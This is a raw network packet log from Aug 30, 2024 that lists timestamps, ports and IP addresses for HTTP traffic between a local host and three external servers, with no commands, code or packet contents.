Aug 30, 2024 03:17:07.888830900 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.888830900 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.888858080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888863087 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888868093 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888871908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888886929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888891935 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888901949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888905048 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.888906956 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888911963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888922930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888926983 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888931990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888942003 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.888946056 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.888972044 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.888972044 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.889372110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.889378071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.889381886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.889386892 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.889394999 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.889400959 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.889410019 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.889414072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.889419079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.889427900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.889434099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.889434099 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.889439106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.889445066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.889450073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.889455080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.889456034 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.889460087 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.889466047 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.889467001 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.889497042 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.889499903 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.889508009 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.889513969 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.889518976 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.889528990 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.889533997 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.889539957 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.889544964 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.889547110 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.889550924 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.889555931 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.889556885 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.889564037 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.889569044 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.889574051 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.889575005 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.889592886 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.889597893 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.892121077 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.892127991 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.892153025 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.892159939 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.892164946 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.892191887 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.892216921 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.892252922 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.892258883 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.892276049 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.892282009 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.892287016 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.892297983 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.892317057 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.892318964 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.892333031 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.892333031 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.892364025 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.892369986 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.892379999 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.892385006 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.892390013 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.892395020 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.892400980 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.892424107 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.892429113 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.892433882 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.892491102 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.892599106 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.892685890 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.892692089 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.892698050 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.892745018 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.892750978 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.892757893 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.892760992 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.892764091 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.892802954 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.893733978 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.893791914 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.893804073 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.893842936 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.893842936 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.893852949 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.893863916 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.893870115 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.893893003 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.893906116 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.894043922 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.894051075 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.894062996 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.894098997 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.894109964 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.894119024 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.894125938 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.894130945 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.894135952 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.894159079 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.894180059 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.894741058 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.894747019 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.894752979 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.894790888 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.894793987 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.894799948 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.894812107 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.894818068 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.894831896 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.894845009 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.896337032 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.896342993 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.896348953 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.896384001 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.896389961 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.896395922 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.896395922 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.896403074 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.896421909 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.896431923 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.896462917 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.896522999 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.896529913 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.896542072 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.896548033 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.896553993 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.896564007 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.896570921 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.896576881 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.896603107 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.896616936 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.896621943 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.896634102 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.896641016 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.896652937 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.896658897 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.896660089 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.896671057 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.896692991 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.901891947 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.901899099 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.901905060 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.901947975 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.901962996 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.901977062 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.901988029 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.901994944 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.902031898 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.902050972 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.902057886 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.902069092 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.902072906 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.902076006 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.902110100 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.902110100 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.902180910 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.902187109 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.902199984 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.902215004 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.902226925 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.902245998 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.902271032 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.902473927 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.902518034 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.902523994 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.902566910 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.902606010 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.902612925 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.902623892 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.902653933 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.902740955 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.902746916 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.902757883 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.902764082 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.902770042 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.902777910 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.902793884 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.902811050 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.902851105 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.902856112 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.902868986 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.902887106 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.902895927 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.902896881 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.902904034 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.902909994 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.902920961 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.902925968 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.902940035 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.902940035 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.902952909 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.902960062 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.902961969 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.902971029 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.902976990 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.902981997 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.902985096 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.903004885 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.903033972 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.903049946 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.903055906 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.903068066 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.903134108 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.903140068 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.903145075 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.903147936 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.903151035 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.903192043 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.903192043 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.903211117 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.903218985 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.903230906 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.903275013 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.906289101 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906295061 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906301022 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906358957 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906364918 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906375885 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906383038 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.906383038 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906399965 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906405926 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906411886 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.906423092 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.906459093 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.906503916 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906510115 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906521082 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906527042 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906533003 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906548977 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906554937 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906570911 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.906570911 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.906599998 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.906656027 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906706095 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.906750917 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906759977 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906789064 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906795025 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906800032 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906805038 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.906805038 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906810045 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906816006 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906826973 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906831980 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906836987 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906841993 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.906841993 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906841993 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.906855106 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906861067 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906867027 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.906877995 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.906877995 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.906908989 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.906908989 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.907059908 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.907064915 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.907075882 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.907080889 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.907085896 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.907098055 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.907104015 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.907109976 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.907129049 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.907150984 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.907229900 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.907279968 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.907289982 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.907370090 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.907388926 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.907393932 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.907413006 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.907424927 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.907474995 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.907480955 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.907486916 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.907493114 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.907521963 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.907533884 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.907610893 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.907622099 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.907634020 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.907646894 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.907659054 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.907660007 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.907665968 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.907671928 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.907677889 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.907689095 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.907695055 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.907696009 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.907732964 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.907732964 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.907757998 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.907802105 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.907808065 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.907819033 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.907855034 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.907876968 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.907907009 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.907912970 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.907918930 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.907923937 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.907968044 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.907968044 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.908046961 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.908052921 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.908058882 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.908063889 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.908076048 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.908081055 CEST	80	49734	147.45.44.104	192.168.2.4
